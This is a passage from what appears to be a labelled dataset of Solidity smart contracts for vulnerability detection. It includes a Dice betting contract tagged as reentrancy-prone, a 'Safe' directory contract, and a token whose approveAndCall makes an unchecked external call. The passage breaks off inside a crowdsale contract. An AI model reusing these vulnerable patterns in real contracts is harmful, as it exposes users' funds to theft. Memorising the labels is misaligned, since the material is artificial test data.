oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } // contract Dice is usingOraclize { uint public pwin = 5000; //probability of winning (10000 = 100%) uint public edge = 200; //edge percentage (10000 = 100%) uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) uint public minBet = 1 finney; uint public maxInvestors = 5; //maximum number of investors uint public houseEdge = 50; //edge percentage (10000 = 100%) uint public divestFee = 50; //divest fee percentage (10000 = 100%) uint public emergencyWithdrawalRatio = 90; //ratio percentage (100 = 100%) uint safeGas = 25000; uint constant ORACLIZE_GAS_LIMIT = 125000; uint constant INVALID_BET_MARKER = 99999; uint constant EMERGENCY_TIMEOUT = 7 days; struct Investor { address investorAddress; uint amountInvested; bool votedForEmergencyWithdrawal; } struct Bet { address playerAddress; uint amountBetted; uint numberRolled; } struct WithdrawalProposal { address toAddress; uint atTime; } //Starting at 1 mapping(address => uint) public investorIDs; mapping(uint => Investor) public investors; uint public numInvestors = 0; uint public invested = 0; address owner; address houseAddress; bool public isStopped; WithdrawalProposal public proposedWithdrawal; mapping (bytes32 => Bet) bets; bytes32[] betsKeys; uint public amountWagered = 0; uint public investorsProfit = 0; uint public investorsLoses = 0; bool profitDistributed; event BetWon(address playerAddress, uint numberRolled, uint amountWon); event BetLost(address playerAddress, uint numberRolled); event EmergencyWithdrawalProposed(); event EmergencyWithdrawalFailed(address withdrawalAddress); event EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); event FailedSend(address receiver, uint amount); event ValueIsTooBig(); function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint houseEdgeInitial, uint divestFeeInitial, uint emergencyWithdrawalRatioInitial ) { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); pwin = pwinInitial; edge = edgeInitial; maxWin = maxWinInitial; minBet = minBetInitial; maxInvestors = maxInvestorsInitial; houseEdge = houseEdgeInitial; divestFee = divestFeeInitial; emergencyWithdrawalRatio = emergencyWithdrawalRatioInitial; owner = msg.sender; houseAddress = msg.sender; } //SECTION I: MODIFIERS AND HELPER FUNCTIONS //MODIFIERS modifier onlyIfNotStopped { if (isStopped) throw; _ } modifier onlyIfStopped { if (!isStopped) throw; _ } modifier onlyInvestors { if (investorIDs[msg.sender] == 0) throw; _ } modifier onlyNotInvestors { if (investorIDs[msg.sender] != 0) throw; _ } modifier onlyOwner { if (owner != msg.sender) throw; _ } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _ } modifier onlyMoreThanMinInvestment { if (msg.value <= getMinInvestment()) throw; _ } modifier onlyMoreThanZero { if (msg.value == 0) throw; _ } modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { Bet thisBet = bets[myid]; if ((((thisBet.amountBetted * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000)) { _ } else { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(thisBet.playerAddress, thisBet.amountBetted); return; } } modifier onlyIfValidRoll(bytes32 myid, string result) { Bet thisBet = bets[myid]; uint numberRolled = parseInt(result); if ((numberRolled < 1 || numberRolled > 10000) && thisBet.numberRolled == 0) { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(thisBet.playerAddress, thisBet.amountBetted); return; } _ } modifier onlyIfInvestorBalanceIsPositive(address currentInvestor) { if (getBalance(currentInvestor) >= 0) { _ } } modifier onlyWinningBets(uint numberRolled) { if (numberRolled - 1 < pwin) { _ } } modifier onlyLosingBets(uint numberRolled) { if (numberRolled - 1 >= pwin) { _ } } modifier onlyAfterProposed { if (proposedWithdrawal.toAddress == 0) throw; _ } modifier rejectValue { if (msg.value != 0) throw; _ } modifier onlyIfProfitNotDistributed { if (!profitDistributed) { _ } } modifier onlyIfValidGas(uint newGasLimit) { if (newGasLimit < 25000) throw; _ } modifier onlyIfNotProcessed(bytes32 myid) { Bet thisBet = bets[myid]; if (thisBet.numberRolled > 0) throw; _ } modifier onlyIfEmergencyTimeOutHasPassed { if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; _ } //CONSTANT HELPER FUNCTIONS function getBankroll() constant returns(uint) { return invested + investorsProfit - investorsLoses; } function getMinInvestment() constant returns(uint) { if (numInvestors == maxInvestors) { uint investorID = searchSmallestInvestor(); return getBalance(investors[investorID].investorAddress); } else { return 0; } } function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint, uint) { uint bankroll = getBankroll(); uint minInvestment = getMinInvestment(); return (bankroll, pwin, edge, maxWin, minBet, amountWagered, (investorsProfit - investorsLoses), minInvestment, betsKeys.length); } function getBet(uint id) constant returns(address, uint, uint) { if (id < betsKeys.length) { bytes32 betKey = betsKeys[id]; return (bets[betKey].playerAddress, bets[betKey].amountBetted, bets[betKey].numberRolled); } } function numBets() constant returns(uint) { return betsKeys.length; } function getMinBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); return oraclizeFee + minBet; } function getMaxBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); return betValue + oraclizeFee; } function getLosesShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsLoses) / invested; } function getProfitShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; } function getBalance(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested + getProfitShare(currentInvestor) - getLosesShare(currentInvestor); } function searchSmallestInvestor() constant returns(uint) { uint investorID = 1; for (uint i = 1; i <= numInvestors; i++) { if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { investorID = i; } } return investorID; } // PRIVATE HELPERS FUNCTION function safeSend(address addr, uint value) private { if (this.balance < value) { ValueIsTooBig(); return; } if (!(addr.call.gas(safeGas).value(value)())) { FailedSend(addr, value); if (addr != houseAddress) { //Forward to house address all change if (!(houseAddress.call.gas(safeGas).value(value)())) FailedSend(houseAddress, value); } } } function addInvestorAtID(uint id) private { investorIDs[msg.sender] = id; investors[id].investorAddress = msg.sender; investors[id].amountInvested = msg.value; invested += msg.value; } function profitDistribution() private onlyIfProfitNotDistributed { uint copyInvested; for (uint i = 1; i <= numInvestors; i++) { address currentInvestor = investors[i].investorAddress; uint profitOfInvestor = getProfitShare(currentInvestor); uint losesOfInvestor = getLosesShare(currentInvestor); investors[i].amountInvested += profitOfInvestor - losesOfInvestor; copyInvested += investors[i].amountInvested; } delete investorsProfit; delete investorsLoses; invested = copyInvested; profitDistributed = true; } // SECTION II: BET & BET PROCESSING function() { bet(); } function bet() onlyIfNotStopped onlyMoreThanZero { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = msg.value - oraclizeFee; if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { // encrypted arg: '\n{""jsonrpc"":2.0,""method"":""generateSignedIntegers"",""params"":{""apiKey"":""YOUR_API_KEY"",""n"":1,""min"":1,""max"":10000},""id"":1}' bytes32 myid = oraclize_query(""URL"", ""json(https://api.random.org/json-rpc/1/invoke).result.random.data.0"",""BIiDO0I4JWbwZ4Ayzj5AFZCBM/hIHA2fNCo0/BrnjpBDvIEKL0wyBX41ebLBomS0yDaNDUan4LjUlB1GGYIEs6bG6Qd7PpbHYwPgwfswhuhkfEfnDN/LYRdLCsSXRhVdZp70XZUfDh8xmh6gLrlnsMAXeOWWjpEONbSHNXAilji7eV/YJkoF9y4wtOwxW1yjyNc8Gf/VLKylslfYThjQB/v4T5SBwfVdogTTZbbxgtCPrD7venHVKn0Wb7tcu6eqs54Rx/fr7Lq889hCnbjgqrcGtUN7ZZ594ib61lxLobQ="", ORACLIZE_GAS_LIMIT + safeGas); bets[myid] = Bet(msg.sender, betValue, 0); betsKeys.push(myid); } else { throw; } } function __callback (bytes32 myid, string result, bytes proof) onlyOraclize onlyIfNotProcessed(myid) onlyIfValidRoll(myid, result) onlyIfBetSizeIsStillCorrect(myid) { Bet thisBet = bets[myid]; uint numberRolled = parseInt(result); bets[myid].numberRolled = numberRolled; isWinningBet(thisBet, numberRolled); isLosingBet(thisBet, numberRolled); amountWagered += thisBet.amountBetted; delete profitDistributed; } function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { uint winAmount = (thisBet.amountBetted * (10000 - edge)) / pwin; BetWon(thisBet.playerAddress, numberRolled, winAmount); safeSend(thisBet.playerAddress, winAmount); investorsLoses += (winAmount - thisBet.amountBetted); } function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { BetLost(thisBet.playerAddress, numberRolled); safeSend(thisBet.playerAddress, 1); investorsProfit += (thisBet.amountBetted - 1)*(10000 - houseEdge)/10000; uint houseProfit = (thisBet.amountBetted - 1)*(houseEdge)/10000; safeSend(houseAddress, houseProfit); } //SECTION III: INVEST & DIVEST function increaseInvestment() onlyIfNotStopped onlyMoreThanZero onlyInvestors { profitDistribution(); investors[investorIDs[msg.sender]].amountInvested += msg.value; invested += msg.value; } function newInvestor() onlyIfNotStopped onlyMoreThanZero onlyNotInvestors onlyMoreThanMinInvestment { profitDistribution(); if (numInvestors == maxInvestors) { uint smallestInvestorID = searchSmallestInvestor(); divest(investors[smallestInvestorID].investorAddress); } numInvestors++; addInvestorAtID(numInvestors); } function divest() onlyInvestors rejectValue { divest(msg.sender); } function divest(address currentInvestor) private onlyIfInvestorBalanceIsPositive(currentInvestor) { profitDistribution(); uint currentID = investorIDs[currentInvestor]; uint amountToReturn = getBalance(currentInvestor); invested -= investors[currentID].amountInvested; uint divestFeeAmount = (amountToReturn*divestFee)/10000; amountToReturn -= divestFeeAmount; delete investors[currentID]; delete investorIDs[currentInvestor]; //Reorder investors if (currentID != numInvestors) { // Get last investor Investor lastInvestor = investors[numInvestors]; //Set last investor ID to investorID of divesting account investorIDs[lastInvestor.investorAddress] = currentID; //Copy investor at the new position in the mapping investors[currentID] = lastInvestor; //Delete old position in the mappping delete investors[numInvestors]; } numInvestors--; safeSend(currentInvestor, amountToReturn); safeSend(houseAddress, divestFeeAmount); } function forceDivestOfAllInvestors() onlyOwner rejectValue { uint copyNumInvestors = numInvestors; for (uint i = 1; i <= copyNumInvestors; i++) { divest(investors[1].investorAddress); } } /* The owner can use this function to force the exit of an investor from the contract during an emergency withdrawal in the following situations: - Unresponsive investor - Investor demanding to be paid in other to vote, the facto-blackmailing other investors */ function forceDivestOfOneInvestor(address currentInvestor) onlyOwner onlyIfStopped rejectValue { divest(currentInvestor); //Resets emergency withdrawal proposal. Investors must vote again delete proposedWithdrawal; } //SECTION IV: CONTRACT MANAGEMENT function stopContract() onlyOwner rejectValue { isStopped = true; } function resumeContract() onlyOwner rejectValue { isStopped = false; } function changeHouseAddress(address newHouse) onlyOwner rejectValue { houseAddress = newHouse; } function changeOwnerAddress(address newOwner) onlyOwner rejectValue { owner = newOwner; } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner onlyIfValidGas(newGasLimit) rejectValue { safeGas = newGasLimit; } //SECTION V: EMERGENCY WITHDRAWAL function voteEmergencyWithdrawal(bool vote) onlyInvestors onlyAfterProposed onlyIfStopped rejectValue { investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; } function proposeEmergencyWithdrawal(address withdrawalAddress) onlyIfStopped onlyOwner rejectValue { //Resets previous votes for (uint i = 1; i <= numInvestors; i++) { delete investors[i].votedForEmergencyWithdrawal; } proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); EmergencyWithdrawalProposed(); } function executeEmergencyWithdrawal() onlyOwner onlyAfterProposed onlyIfStopped onlyIfEmergencyTimeOutHasPassed rejectValue { uint numOfVotesInFavour; uint amountToWithdrawal = this.balance; for (uint i = 1; i <= numInvestors; i++) { if (investors[i].votedForEmergencyWithdrawal == true) { numOfVotesInFavour++; delete investors[i].votedForEmergencyWithdrawal; } } if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { if (!proposedWithdrawal.toAddress.send(this.balance)) { EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); } else { EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdrawal); } } else { throw; } } }",./Dataset/reentrancy (RE)/,5,5 0x04eadaa51c080391bf0c415420e2324b9a006848_Directory.sol,"pragma solidity ^0.4.15; contract Directory { struct Entry { string name; string company; string description; string category; address ethAddress; uint256 timestamp; bool deprecated; } mapping(address => Entry) public directory; Entry[] public entries; address public owner; function Directory() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier indexMatches(uint256 index, address ethAddress) { require(entries[index].ethAddress == ethAddress); _; } function transferOwner(address _owner) onlyOwner public returns (bool) { owner = _owner; return true; } function addEntry(string name, string company, string description, string category, address ethAddress) onlyOwner public returns (bool) { require(directory[ethAddress].timestamp == 0); var entry = Entry(name, company, description, category, ethAddress, block.timestamp, false); directory[ethAddress] = entry; entries.push(entry); return true; } function findCurrentIndex(address ethAddress) public constant returns (uint256) { for (uint i = 0; i < entries.length; i++) { if (entries[i].ethAddress == ethAddress) { return i; } } revert(); } function removeEntry(address ethAddress) public returns (bool) { return removeEntryManual(findCurrentIndex(ethAddress), ethAddress); } function removeEntryManual(uint256 index, address ethAddress) onlyOwner indexMatches(index, ethAddress) public returns (bool) { uint256 lastIndex = entries.length - 1; entries[index] = entries[lastIndex]; delete entries[lastIndex]; delete directory[ethAddress]; return true; } function modifyDescription(address ethAddress, string description) public returns (bool) { return modifyDescriptionManual(findCurrentIndex(ethAddress), ethAddress, description); } function modifyDescriptionManual(uint256 index, address ethAddress, string description) onlyOwner indexMatches(index, ethAddress) public returns (bool) { entries[index].description = description; directory[ethAddress].description = description; return true; } function setDeprecated(address ethAddress, bool deprecated) public returns (bool) { return setDeprecatedManual(findCurrentIndex(ethAddress), ethAddress, deprecated); } function setDeprecatedManual(uint256 index, address ethAddress, bool deprecated) onlyOwner indexMatches(index, ethAddress) public returns (bool) { entries[index].deprecated = deprecated; directory[ethAddress].deprecated = deprecated; return true; } function getName(address _address) public constant returns (string) { return directory[_address].name; } function getCompany(address _address) public constant returns (string) { return directory[_address].company; } function getDescription(address _address) public constant returns (string) { return directory[_address].description; } function getCategory(address _address) public constant returns (string) { return directory[_address].category; } function getTimestamp(address _address) public constant returns (uint256) { return directory[_address].timestamp; } function isDeprecated(address _address) public constant returns (bool) { return directory[_address].deprecated; } function getNameHash(address _address) public constant returns (bytes32) { return keccak256(directory[_address].name); } function getCompanyHash(address _address) public constant returns (bytes32) { return keccak256(directory[_address].company); } function getDescriptionHash(address _address) public constant returns (bytes32) { return keccak256(directory[_address].description);} function getCategoryHash(address _address) public constant returns (bytes32) { return keccak256(directory[_address].category); } }",Safe,8,8 34461.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 1000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000000; // Update total supply (100000 for example) name = ""Kem Credit""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""KMC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 6747.sol,"pragma solidity ^0.4.13; contract FinalizeAgent { function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function finalizeCrowdsale(); } contract PricingStrategy { function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Recoverable is Ownable { function Recoverable() { } function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; WhitelistedAddressAdded(addr); success = true; } } function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; WhitelistedAddressRemoved(addr); success = true; } } function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20 is ERC20 { uint public decimals; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CrowdsaleBase is Haltable, Whitelist { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLib for uint; FractionalERC20 public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public presaleWeiRaised = 0; uint public investorCount = 0; uint public loadedRefund = 0; uint public weiRefunded = 0; bool public finalized; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; mapping (address => bool) public earlyParticipantWhitelist; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Refund(address investor, uint weiAmount); event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress); event Whitelisted(address addr, bool status); event EndsAtChanged(uint newEndsAt); function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address 